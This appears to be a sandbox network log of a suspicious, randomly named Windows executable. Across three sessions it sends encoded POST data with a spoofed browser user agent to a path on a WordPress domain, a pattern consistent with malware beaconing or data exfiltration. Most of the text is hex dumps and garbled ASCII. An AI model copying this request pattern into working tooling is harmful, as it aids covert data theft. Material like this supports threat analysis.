Jul 3, 2024 17:37:39.561814070 CEST	397	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 03 Jul 2024 15:37:39 GMT Content-Type: text/html Content-Length: 257 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 76 58 3d 4a 42 76 6b 69 43 35 2f 70 35 4d 30 4b 64 75 53 76 39 6e 4d 41 71 31 4c 37 4f 76 39 6b 49 78 79 32 75 6c 72 53 77 38 44 41 4d 51 2b 6f 59 72 62 2f 4f 71 74 2b 4d 7a 39 71 79 4c 37 6b 4f 67 78 4f 63 68 6b 37 31 76 62 45 46 2f 30 33 36 47 77 79 55 67 53 38 61 46 7a 4e 69 5a 59 72 74 46 4f 7a 46 5a 53 43 73 33 2b 46 58 6a 70 44 41 31 51 39 33 44 72 7a 66 45 3d 26 5f 42 37 3d 4c 78 79 78 57 72 6a 38 6b 72 69 30 67 68 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?vX=JBvkiC5/p5M0KduSv9nMAq1L7Ov9kIxy2ulrSw8DAMQ+oYrb/Oqt+Mz9qyL7kOgxOchk71vbEF/036GwyUgS8aFzNiZYrtFOzFZSCs3+FXjpDA1Q93DrzfE=&_B7=LxyxWrj8kri0gh"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.11.20	49791	66.235.200.145	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:44.983409882 CEST	806	OUT	POST /bjbg/ HTTP/1.1 Host: www.lakemontbellevue.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.lakemontbellevue.com Referer: http://www.lakemontbellevue.com/bjbg/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 43 59 73 6c 6f 57 45 64 6f 62 4a 57 74 61 76 78 51 56 30 33 42 49 62 4d 76 6c 4e 66 34 4d 35 70 64 72 38 71 6b 65 42 37 5a 4b 79 6a 67 62 44 35 6f 31 56 68 32 61 57 2f 70 70 6b 52 4e 47 73 32 49 4c 38 37 51 36 4d 36 38 36 4b 71 5a 6c 46 79 51 5a 4e 47 51 38 62 4d 39 66 79 43 64 57 4f 32 6c 6f 2f 57 4e 38 4b 51 78 34 6f 59 7a 73 44 38 73 4f 4c 55 51 44 50 37 33 48 47 70 6b 45 61 52 45 65 48 30 45 30 38 6f 46 32 4c 49 69 2b 4e 72 70 38 53 43 6d 6d 48 5a 69 46 31 79 48 4d 62 72 36 2b 68 4a 2b 67 4c 6e 4a 38 37 4c 73 53 42 4d 78 76 55 4d 50 2b 30 6b 6b 34 6b 6e 75 66 4d 7a 69 41 3d 3d Data Ascii: vX=CYsloWEdobJWtavxQV03BIbMvlNf4M5pdr8qkeB7ZKyjgbD5o1Vh2aW/ppkRNGs2IL87Q6M686KqZlFyQZNGQ8bM9fyCdWO2lo/WN8KQx4oYzsD8sOLUQDP73HGpkEaREeH0E08oF2LIi+Nrp8SCmmHZiF1yHMbr6+hJ+gLnJ87LsSBMxvUMP+0kk4knufMziA==
Jul 3, 2024 17:37:45.422059059 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:37:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://lakemontbellevue.net/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress CF-Cache-Status: DYNAMIC Set-Cookie: _cfuvid=J8TlPgwK.uyiwfHuPH9woqnGDB4R0kvbtowxQTqFaig-1720021065357-0.0.1.1-604800000; path=/; domain=.www.lakemontbellevue.com; HttpOnly Server: cloudflare CF-RAY: 89d7f5687c802ca3-ORD Content-Encoding: gzip Data Raw: 32 61 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 6d 77 db 36 b2 f0 e7 e4 57 30 ca 69 6a 2d 29 59 92 5f 63 57 e9 c6 76 ec a4 b1 13 af e5 b4 4f 6f d3 d3 03 91 23 11 16 08 30 00 28 59 f1 f5 7f 7f ce 0c 48 8a b2 e5 b7 38 dd de ec d6 1c 80 c0 cc 60 30 18 cc 00 20 f4 d3 b3 bd 8f bb a7 bf 1f bf f1 62 9b 88 57 4f 7f c2 87 27 98 1c 76 6b 20 1b 9f 7a 35 cc 03 16 bd 7a e2 3d 7d f2 53 02 96 79 b1 b5 69 03 be 64 7c dc ad fd bf c6 a7 d7 8d 5d 95 a4 cc f2 be 80 9a 17 2a 69 41 da 6e ed dd 9b 2e 44 43 a8 bd 2a aa 49 96 40 b7 36 e6 30 49 95 b6 95 92 13 1e d9 b8 1b c1 98 87 d0 a0 44 e0 71 c9 2d 67 a2 61 42 26 a0 db 9e 61 09 63 a6 0d d8 6e ed d3 e9 7e 63 b3 f6 ea e9 1c fa 1f b5 ea 2b 6b 7e 2c 91 ff 28 15 97 11 9c 07 de 40 09 a1 26 3f 7a cb 54 e5 59 a3 e1 9d c6 dc 78 86 5b f0 b8 f1 54 6a 79 c2 bf 42 e4 4d b8 8d 3d 1b 83 f7 bb 62 c6 7a bd 37 1f bd 54 64 43 2e bd 71 67 a5 d9 f2 1a 24 00 b3 b5 bc 3c c5 02 cd 50 25 cb 13 a5 a3 54 83 31 cb ae a8 59 36 a0 96 bd 46 03 f9 b6 dc 0a 78 75 cc 86 e0 49 65 bd 81 ca 64 e4 35 bc [TRUNCATED] Data Ascii: 2ae3}mw6W0ij-)Y_cWvOo#0(YH8`0 bWO'vk z5z=}Syid\|]iAn.DCI@60IDq-gaB&acn~c+k~,(@&?zTYx[TjyBM=bz7TdC.qg$<P%T1Y6FxuIed5C6DI$$S1r%ZvZ[S-P,Sm[T0UJ?BWp5Og)tk,M3BHP4VWJnqQ7m~~[<9}4%W:F2A-rL!O"TxV^m/}<5m<
Jul 3, 2024 17:37:45.422154903 CEST	1289	IN	Data Raw: eb 4f 6f a0 d0 f4 ee 20 8b 43 03 b5 0d b1 70 e9 ed e4 0d 0f bc df 98 89 b9 1c 5a 25 9b b5 a0 96 66 7d c1 4d 0c ba b6 75 71 2f 09 2b 3d 64 92 7f 75 82 b9 0c 6a a9 42 f5 e1 4c bc 0e 9d 74 2a 7d d7 03 a6 c3 38 7f 11 d4 2c d3 43 b0 44 28 2f f0 46 5a Data Ascii: Oo CpZ%f}Muq/+=dujBLt}8,CD(/FZ==V\ZcYM,/c5KKz2P4Z;32.j\29:yXmqp!_BUU63Qs?9\o5')8&i#7'YrY]n-mojf*?v:
Jul 3, 2024 17:37:45.422231913 CEST	1289	IN	Data Raw: 25 ce 1b 2a ad 05 ac 89 ee 55 b7 b6 de 6a 79 2b 9d f4 dc 7b ad 39 13 b5 e0 e2 b2 1c 1d d0 1c 28 fd 86 85 71 65 7c d4 2f d4 1f f0 67 d7 2e b1 00 02 59 47 02 33 39 59 7c ef 0c c7 35 ee f3 39 aa be 6d 9b 46 87 5d 08 6c 33 82 01 e8 ee b3 56 c0 9b b8 Data Ascii: %*Ujy+{9(qe\|/g.YG39Y\|59mF]l3Vdi2lrJ/T6ITgnDVfnMuY+}02~99&7c3Rm \(u3^Y'/-sfttef3CK5n!'x&
Jul 3, 2024 17:37:45.422338963 CEST	1289	IN	Data Raw: d2 b4 fa ed 32 8b ce 0e 99 08 97 9a eb eb 38 c1 fa 5e 27 3d af 7b 94 d5 6e ae ac ac 94 79 db 95 b1 d9 6c a3 7a 5c ce b8 c6 96 fd f5 97 e3 fd a2 32 e3 16 4c 56 1a b2 88 95 aa 82 cd 24 3d a4 f0 ff 5e 22 ee ab 68 7a d1 68 4c d2 06 ee 70 18 b0 0d 27 Data Ascii: 28^'={nylz\2LV$=^"hzhLp'F/X82F_da>~3\Y\\|s\X`I Hz\|h{:Dp2WPaMRaUUEk1t$ly7Q_V\E(M6+r[4/
Jul 3, 2024 17:37:45.422426939 CEST	1289	IN	Data Raw: 96 ee 43 e0 be e3 f1 a6 8d 85 c7 31 f8 10 4a f7 b6 55 d5 7d 87 ef c9 de 02 f4 8b 74 ec ee ed 88 c7 e9 d9 dd f8 17 cd a1 8b 76 29 1e c5 c7 42 8c 0b fd 81 ab fb 0b 8f 22 7b 1d dd 8d 34 8b 5d 86 ef 40 af 40 75 9b 0e e2 be c2 f7 51 37 c4 74 93 9d a7 Data Ascii: C1JU}tv)B"{4]@@uQ7tmGY@c~QtQ-Ul<Jd~w\YV"~iwt9=![1/Y9",_hq.cSO;9_2e$e{:Rmo(V_)kfi#\|,:d$g
Jul 3, 2024 17:37:45.422496080 CEST	1289	IN	Data Raw: cb 8a f8 c8 01 c3 91 eb 16 29 39 f8 9f 0c f8 bf ab 4c fb a7 20 c0 e0 65 45 f4 4a c9 69 a2 32 53 74 15 de 97 57 3c fd 3d 1e 29 27 32 4a a2 0c 5d 42 91 7c 34 4b 81 5a a9 fb 99 cd cc 0c 2a 4b ea 10 4f 8f 84 d6 f8 7b 2c 1b c6 16 74 91 3b 56 fe 0e 9e Data Ascii: )9L eEJi2StW<=)'2J]B\|4KZ*KO{,t;V?PD0O/Zy#e<+:&IC[>S R p4'lrg2asKmB(Jx<vM"&<r+VTj4g05r$I2sEQRI^.J4fI?ccD
Jul 3, 2024 17:37:45.422569036 CEST	1289	IN	Data Raw: 66 61 5f 63 43 78 38 62 be 8d c1 3f d0 6e 0e c2 6c 35 2a d9 d3 00 85 38 34 18 d2 9f 7d cd cf 94 70 6f b3 91 cd 50 97 f6 b3 21 fb 9a d7 39 d8 ef 91 6f 6e 73 f8 03 a8 18 9d 30 49 c3 e9 80 f5 35 07 9a 57 0e d8 c0 0d ab 03 26 5c 74 70 c0 44 04 ce 6f Data Ascii: fa_cCx8b?nl5*84}poP!9ons0I5W&\tpDo;`qCRJ+!}Ny haF!ZU)/1aLY@wt-3fh~ncfQ7}tyx_ybT\|df
Jul 3, 2024 17:37:45.422631025 CEST	1289	IN	Data Raw: 16 1f 69 ae 84 2a 93 96 71 69 30 7e dd 8d d1 f2 25 cc 61 c8 0c f8 47 90 28 4e 26 e1 48 fb 3b 10 e1 32 85 4b ec b1 81 82 1c c4 55 b6 31 cf 27 e9 23 8d 33 0f 97 d6 df 03 c1 06 1c 44 99 1b 43 9a 32 4d ab 67 14 be f9 bf 32 b7 9a 78 94 39 66 a6 38 8e Data Ascii: iqi0~%aG(N&H;2KU1'#3DC2Mg2x9f820H,0>ITwn\IbIB0\|#\C>hwU&"Ol"4yAPcRlJ)ib)nL-^?Y47:O
Jul 3, 2024 17:37:45.422699928 CEST	1289	IN	Data Raw: 1c 57 97 24 9f b5 da 52 88 51 15 bb 45 27 fa 93 b0 9a cd 59 94 6a 7e 65 6f be 67 d5 c8 21 d2 8c 16 65 7a 19 f8 6f 70 f1 da ad 4d 71 67 45 7a 19 14 ab dd 3d f4 26 89 af 0c 77 93 a4 eb b3 2c 05 9d 80 0e 59 a4 ca 72 9a e5 0f 29 0b 08 db 47 5d 9b 4d Data Ascii: W$RQE'Yj~eog!ezopMqgEz=&w,Yr)G]M07]G^BG$2Tk)p)KJpl5;CszS;+)p-h-pNa\|"<8XBO5.%E0kE+Zas(TOGNYN3~Ck%0yV
Jul 3, 2024 17:37:45.422748089 CEST	97	IN	Data Raw: 9a 0d 3d bc 17 29 d2 2a f5 52 7c d9 cf 5f 0e 94 f6 4a 9b d7 ac 2d 13 45 77 83 54 65 82 0a 8d a9 bd 22 49 17 d7 15 b8 0b a2 66 d7 17 cc dd 11 45 25 17 dc 13 45 f9 77 dc 15 35 eb b4 27 4f 9e 54 c5 b0 90 29 9a c1 72 a7 a0 6a 22 89 5f bc 66 a0 79 ed Data Ascii: =)*R\|_J-EwTe"IfE%Ew5'OT)rj"_fywz
Jul 3, 2024 17:37:45.460165977 CEST	1289	IN	Data Raw: 31 63 66 32 0d 0a d4 3d ed 72 db 38 92 bf c5 aa 7b 07 0c 5d bb 89 53 22 25 51 92 15 3b b6 b6 32 4e 66 37 57 f9 aa 49 a6 e6 47 66 4a 05 91 90 c5 84 12 b9 24 25 c5 33 eb 07 ba 3f f7 10 fb 64 57 dd 00 48 90 04 29 c9 a1 67 6f ec 4a 4c 12 8d 46 03 68 Data Ascii: 1cf2=r8{]S"%Q;2Nf7WIGfJ$%3?dWH)goJLFhF;/SY}{6k:ss8"YE>kAx9ZmWC4V %$/2c4ysop%pp\|WH\nGr%a`(a@(u&@3PP"l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.11.20	49792	66.235.200.145	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:47.657325983 CEST	1146	OUT	POST /bjbg/ HTTP/1.1 Host: www.lakemontbellevue.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.lakemontbellevue.com Referer: http://www.lakemontbellevue.com/bjbg/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 43 59 73 6c 6f 57 45 64 6f 62 4a 57 76 37 66 78 58 30 30 33 48 6f 62 50 7a 31 4e 66 7a 73 35 54 64 72 34 71 6b 62 68 72 65 34 6d 6a 6e 35 4c 35 70 77 35 68 6c 71 57 2f 78 35 6b 75 4a 47 74 34 49 4c 77 43 51 2b 49 36 38 2b 71 71 58 32 64 79 55 5a 4e 46 49 4d 62 4e 30 2f 79 44 58 32 4f 38 6c 6f 79 31 4e 35 69 51 32 4a 51 59 79 71 33 38 72 62 72 58 44 54 50 35 78 48 47 6f 71 6b 61 66 45 65 4c 38 45 77 77 6e 46 6b 58 49 6c 65 74 72 75 4d 53 46 73 57 48 65 39 56 30 7a 49 38 36 69 32 4e 46 48 78 43 50 68 44 4e 2b 30 67 69 46 74 38 64 30 77 66 73 59 4c 74 63 4e 48 76 4c 59 36 68 42 6f 62 44 32 74 62 4d 4b 52 75 53 5a 66 7a 2b 72 44 63 53 2f 4c 55 44 74 30 48 57 52 6e 6f 6f 30 78 55 78 6c 2f 4c 74 66 6d 55 50 68 64 41 75 75 54 6b 38 56 45 45 49 55 51 53 65 62 55 5a 38 64 44 33 44 34 72 47 5a 2f 41 7a 65 5a 6a 4b 65 50 73 49 4b 77 5a 50 33 62 2f 7a 62 44 4a 42 70 43 6f 48 67 4e 76 45 33 77 67 65 57 58 2b 49 2f 45 39 42 67 79 61 57 54 34 79 56 72 49 2f 50 56 73 51 46 45 4c 37 31 46 78 4e 47 5a 65 62 [TRUNCATED] Data Ascii: vX=CYsloWEdobJWv7fxX003HobPz1Nfzs5Tdr4qkbhre4mjn5L5pw5hlqW/x5kuJGt4ILwCQ+I68+qqX2dyUZNFIMbN0/yDX2O8loy1N5iQ2JQYyq38rbrXDTP5xHGoqkafEeL8EwwnFkXIletruMSFsWHe9V0zI86i2NFHxCPhDN+0giFt8d0wfsYLtcNHvLY6hBobD2tbMKRuSZfz+rDcS/LUDt0HWRnoo0xUxl/LtfmUPhdAuuTk8VEEIUQSebUZ8dD3D4rGZ/AzeZjKePsIKwZP3b/zbDJBpCoHgNvE3wgeWX+I/E9BgyaWT4yVrI/PVsQFEL71FxNGZebaffPvLVGBZZCmEdqo58UVDD0mhUqh/3K68V+TIbfuaRUOtc5IUk50inpmZJRLwZQIHdvyEGQCdT/pvm+6FSSROVOhUu0FsXsuYGC491iKZFA8NXiPITQWxKLbjbXJDwfD1FV6o9yrtse/dlthbiTmsdd6tLtDSH2NybnrtY0vJCCcLxXFRSg7Jd/GUHbYqbPvgWL+Hgk=
Jul 3, 2024 17:37:48.003277063 CEST	1289	IN	HTTP/1.1 404 Not Found Date: Wed, 03 Jul 2024 15:37:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://lakemontbellevue.net/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding host-header: c2hhcmVkLmJsdWVob3N0LmNvbQ== X-Newfold-Cache-Level: 2 X-Endurance-Cache-Level: 2 X-nginx-cache: WordPress CF-Cache-Status: DYNAMIC Set-Cookie: _cfuvid=q78Vdp1Tqcep1iwnGWiwInnpBJxldweYeAbg4IJrKkQ-1720021067938-0.0.1.1-604800000; path=/; domain=.www.lakemontbellevue.com; HttpOnly Server: cloudflare CF-RAY: 89d7f5793b9861c2-ORD Content-Encoding: gzip Data Raw: 32 61 65 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 7d 6d 77 db 36 b2 f0 e7 e4 57 30 ca 69 6a 2d 29 59 92 5f 63 57 e9 c6 76 ec a4 b1 13 af e5 b4 4f 6f d3 d3 03 91 23 11 16 08 30 00 28 59 f1 f5 7f 7f ce 0c 48 8a b2 e5 b7 38 dd de ec d6 1c 80 c0 cc 60 30 18 cc 00 20 f4 d3 b3 bd 8f bb a7 bf 1f bf f1 62 9b 88 57 4f 7f c2 87 27 98 1c 76 6b 20 1b 9f 7a 35 cc 03 16 bd 7a e2 3d 7d f2 53 02 96 79 b1 b5 69 03 be 64 7c dc ad fd bf c6 a7 d7 8d 5d 95 a4 cc f2 be 80 9a 17 2a 69 41 da 6e ed dd 9b 2e 44 43 a8 bd 2a aa 49 96 40 b7 36 e6 30 49 95 b6 95 92 13 1e d9 b8 1b c1 98 87 d0 a0 44 e0 71 c9 2d 67 a2 61 42 26 a0 db 9e 61 09 63 a6 0d d8 6e ed d3 e9 7e 63 b3 f6 ea e9 1c fa 1f b5 ea 2b 6b 7e 2c 91 ff 28 15 97 11 9c 07 de 40 09 a1 26 3f 7a cb 54 e5 59 a3 e1 9d c6 dc 78 86 5b f0 b8 f1 54 6a 79 c2 bf 42 e4 4d b8 8d 3d 1b 83 f7 bb 62 c6 7a bd 37 1f bd 54 64 43 2e bd 71 67 a5 d9 f2 1a 24 00 b3 b5 bc 3c c5 02 cd 50 25 cb 13 a5 a3 54 83 31 cb ae a8 59 36 a0 96 bd 46 03 f9 b6 dc 0a 78 75 cc 86 e0 49 65 bd 81 ca 64 e4 35 bc [TRUNCATED] Data Ascii: 2ae3}mw6W0ij-)Y_cWvOo#0(YH8`0 bWO'vk z5z=}Syid\|]iAn.DCI@60IDq-gaB&acn~c+k~,(@&?zTYx[TjyBM=bz7TdC.qg$<P%T1Y6FxuIed5C6DI$$S1r%ZvZ[S-P,Sm[T0UJ?BWp5Og)tk,M3BHP4VWJnqQ7m~~[<9}4%W:F2A-rL!O"TxV^m/}<5m<
Jul 3, 2024 17:37:48.003293037 CEST	1289	IN	Data Raw: eb 4f 6f a0 d0 f4 ee 20 8b 43 03 b5 0d b1 70 e9 ed e4 0d 0f bc df 98 89 b9 1c 5a 25 9b b5 a0 96 66 7d c1 4d 0c ba b6 75 71 2f 09 2b 3d 64 92 7f 75 82 b9 0c 6a a9 42 f5 e1 4c bc 0e 9d 74 2a 7d d7 03 a6 c3 38 7f 11 d4 2c d3 43 b0 44 28 2f f0 46 5a Data Ascii: Oo CpZ%f}Muq/+=dujBLt}8,CD(/FZ==V\ZcYM,/c5KKz2P4Z;32.j\29:yXmqp!_BUU63Qs?9\o5')8&i#7'YrY]n-mojf*?v:
Jul 3, 2024 17:37:48.003329039 CEST	1289	IN	Data Raw: 25 ce 1b 2a ad 05 ac 89 ee 55 b7 b6 de 6a 79 2b 9d f4 dc 7b ad 39 13 b5 e0 e2 b2 1c 1d d0 1c 28 fd 86 85 71 65 7c d4 2f d4 1f f0 67 d7 2e b1 00 02 59 47 02 33 39 59 7c ef 0c c7 35 ee f3 39 aa be 6d 9b 46 87 5d 08 6c 33 82 01 e8 ee b3 56 c0 9b b8 Data Ascii: %*Ujy+{9(qe\|/g.YG39Y\|59mF]l3Vdi2lrJ/T6ITgnDVfnMuY+}02~99&7c3Rm \(u3^Y'/-sfttef3CK5n!'x&
Jul 3, 2024 17:37:48.003422976 CEST	1289	IN	Data Raw: d2 b4 fa ed 32 8b ce 0e 99 08 97 9a eb eb 38 c1 fa 5e 27 3d af 7b 94 d5 6e ae ac ac 94 79 db 95 b1 d9 6c a3 7a 5c ce b8 c6 96 fd f5 97 e3 fd a2 32 e3 16 4c 56 1a b2 88 95 aa 82 cd 24 3d a4 f0 ff 5e 22 ee ab 68 7a d1 68 4c d2 06 ee 70 18 b0 0d 27 Data Ascii: 28^'={nylz\2LV$=^"hzhLp'F/X82F_da>~3\Y\\|s\X`I Hz\|h{:Dp2WPaMRaUUEk1t$ly7Q_V\E(M6+r[4/
Jul 3, 2024 17:37:48.003436089 CEST	1289	IN	Data Raw: 96 ee 43 e0 be e3 f1 a6 8d 85 c7 31 f8 10 4a f7 b6 55 d5 7d 87 ef c9 de 02 f4 8b 74 ec ee ed 88 c7 e9 d9 dd f8 17 cd a1 8b 76 29 1e c5 c7 42 8c 0b fd 81 ab fb 0b 8f 22 7b 1d dd 8d 34 8b 5d 86 ef 40 af 40 75 9b 0e e2 be c2 f7 51 37 c4 74 93 9d a7 Data Ascii: C1JU}tv)B"{4]@@uQ7tmGY@c~QtQ-Ul<Jd~w\YV"~iwt9=![1/Y9",_hq.cSO;9_2e$e{:Rmo(V_)kfi#\|,:d$g
Jul 3, 2024 17:37:48.003448009 CEST	1289	IN	Data Raw: cb 8a f8 c8 01 c3 91 eb 16 29 39 f8 9f 0c f8 bf ab 4c fb a7 20 c0 e0 65 45 f4 4a c9 69 a2 32 53 74 15 de 97 57 3c fd 3d 1e 29 27 32 4a a2 0c 5d 42 91 7c 34 4b 81 5a a9 fb 99 cd cc 0c 2a 4b ea 10 4f 8f 84 d6 f8 7b 2c 1b c6 16 74 91 3b 56 fe 0e 9e Data Ascii: )9L eEJi2StW<=)'2J]B\|4KZ*KO{,t;V?PD0O/Zy#e<+:&IC[>S R p4'lrg2asKmB(Jx<vM"&<r+VTj4g05r$I2sEQRI^.J4fI?ccD
Jul 3, 2024 17:37:48.003459930 CEST	1289	IN	Data Raw: 66 61 5f 63 43 78 38 62 be 8d c1 3f d0 6e 0e c2 6c 35 2a d9 d3 00 85 38 34 18 d2 9f 7d cd cf 94 70 6f b3 91 cd 50 97 f6 b3 21 fb 9a d7 39 d8 ef 91 6f 6e 73 f8 03 a8 18 9d 30 49 c3 e9 80 f5 35 07 9a 57 0e d8 c0 0d ab 03 26 5c 74 70 c0 44 04 ce 6f Data Ascii: fa_cCx8b?nl5*84}poP!9ons0I5W&\tpDo;`qCRJ+!}Ny haF!ZU)/1aLY@wt-3fh~ncfQ7}tyx_ybT\|df
Jul 3, 2024 17:37:48.003472090 CEST	1289	IN	Data Raw: 16 1f 69 ae 84 2a 93 96 71 69 30 7e dd 8d d1 f2 25 cc 61 c8 0c f8 47 90 28 4e 26 e1 48 fb 3b 10 e1 32 85 4b ec b1 81 82 1c c4 55 b6 31 cf 27 e9 23 8d 33 0f 97 d6 df 03 c1 06 1c 44 99 1b 43 9a 32 4d ab 67 14 be f9 bf 32 b7 9a 78 94 39 66 a6 38 8e Data Ascii: iqi0~%aG(N&H;2KU1'#3DC2Mg2x9f820H,0>ITwn\IbIB0\|#\C>hwU&"Ol"4yAPcRlJ)ib)nL-^?Y47:O
Jul 3, 2024 17:37:48.003484011 CEST	1289	IN	Data Raw: 1c 57 97 24 9f b5 da 52 88 51 15 bb 45 27 fa 93 b0 9a cd 59 94 6a 7e 65 6f be 67 d5 c8 21 d2 8c 16 65 7a 19 f8 6f 70 f1 da ad 4d 71 67 45 7a 19 14 ab dd 3d f4 26 89 af 0c 77 93 a4 eb b3 2c 05 9d 80 0e 59 a4 ca 72 9a e5 0f 29 0b 08 db 47 5d 9b 4d Data Ascii: W$RQE'Yj~eog!ezopMqgEz=&w,Yr)G]M07]G^BG$2Tk)p)KJpl5;CszS;+)p-h-pNa\|"<8XBO5.%E0kE+Zas(TOGNYN3~Ck%0yV
Jul 3, 2024 17:37:48.003494024 CEST	97	IN	Data Raw: 9a 0d 3d bc 17 29 d2 2a f5 52 7c d9 cf 5f 0e 94 f6 4a 9b d7 ac 2d 13 45 77 83 54 65 82 0a 8d a9 bd 22 49 17 d7 15 b8 0b a2 66 d7 17 cc dd 11 45 25 17 dc 13 45 f9 77 dc 15 35 eb b4 27 4f 9e 54 c5 b0 90 29 9a c1 72 a7 a0 6a 22 89 5f bc 66 a0 79 ed Data Ascii: =)*R\|_J-EwTe"IfE%Ew5'OT)rj"_fywz
Jul 3, 2024 17:37:48.003906012 CEST	1289	IN	Data Raw: 64 30 64 0d 0a d4 1d 6b 6f e3 36 f2 b3 f4 2b 58 15 e8 63 11 d9 96 2c cb b1 6b ab d8 6e b3 6d 80 6c b6 e8 ee a1 1f 0e 07 83 96 e9 58 17 59 14 24 d9 4e 0a e4 bf 1f 66 48 51 d4 cb c9 a2 69 81 4b 3e 58 12 87 e4 90 1c ce 83 8f 99 aa 4e 4d 38 c1 09 8f Data Ascii: d0dko6+Xc,knmlXY$NfHQiK>XNM8FSYCw;rh23lc\|s+W x}Vsf3D"spI{w?%9e`k91mS0=KPr5OQe@O2t?dD'S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.11.20	49793	66.235.200.145	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:37:50.326550961 CEST	2578	OUT	POST /bjbg/ HTTP/1.1 Host: www.lakemontbellevue.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.lakemontbellevue.com Referer: http://www.lakemontbellevue.com/bjbg/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 43 59 73 6c 6f 57 45 64 6f 62 4a 57 76 37 66 78 58 30 30 33 48 6f 62 50 7a 31 4e 66 7a 73 35 54 64 72 34 71 6b 62 68 72 65 34 2b 6a 6e 4c 7a 35 70 54 68 68 30 61 57 2f 76 70 6b 56 4a 47 73 6b 49 4c 70 4b 51 37 52 50 38 38 53 71 57 68 42 79 55 71 31 46 4e 4d 62 4f 6f 50 79 42 64 57 4f 6f 6c 6f 2f 30 4e 35 33 76 78 38 45 59 7a 74 7a 38 73 74 6a 55 4c 6a 50 37 78 48 48 6e 37 55 61 74 45 65 50 53 45 77 30 6e 46 6e 6a 49 6b 73 56 72 6f 4e 53 46 6c 6d 48 64 6b 46 30 67 47 63 36 48 32 4e 52 79 78 43 50 62 44 4d 4b 30 67 68 64 74 39 66 63 7a 59 4d 59 4c 6b 38 4e 45 72 4c 63 32 68 42 31 59 44 32 70 62 4d 4b 70 75 53 35 66 7a 73 65 2f 62 46 76 4c 6f 48 74 31 66 53 52 72 67 6f 30 31 71 78 6b 62 4c 74 76 79 55 4f 53 46 41 6f 4b 50 6b 37 46 45 52 56 6b 52 59 58 37 55 56 38 62 6a 64 44 35 4b 78 5a 38 4d 7a 4d 6f 44 4b 62 72 41 4a 4a 51 5a 42 79 62 2b 33 52 6a 4e 37 70 43 34 68 67 4e 76 55 33 78 6b 65 57 48 75 49 74 46 39 4f 69 69 61 56 5a 6f 7a 56 77 34 6a 2f 56 73 64 49 45 4c 65 34 46 77 4a 47 5a 2b 62 [TRUNCATED] Data Ascii: 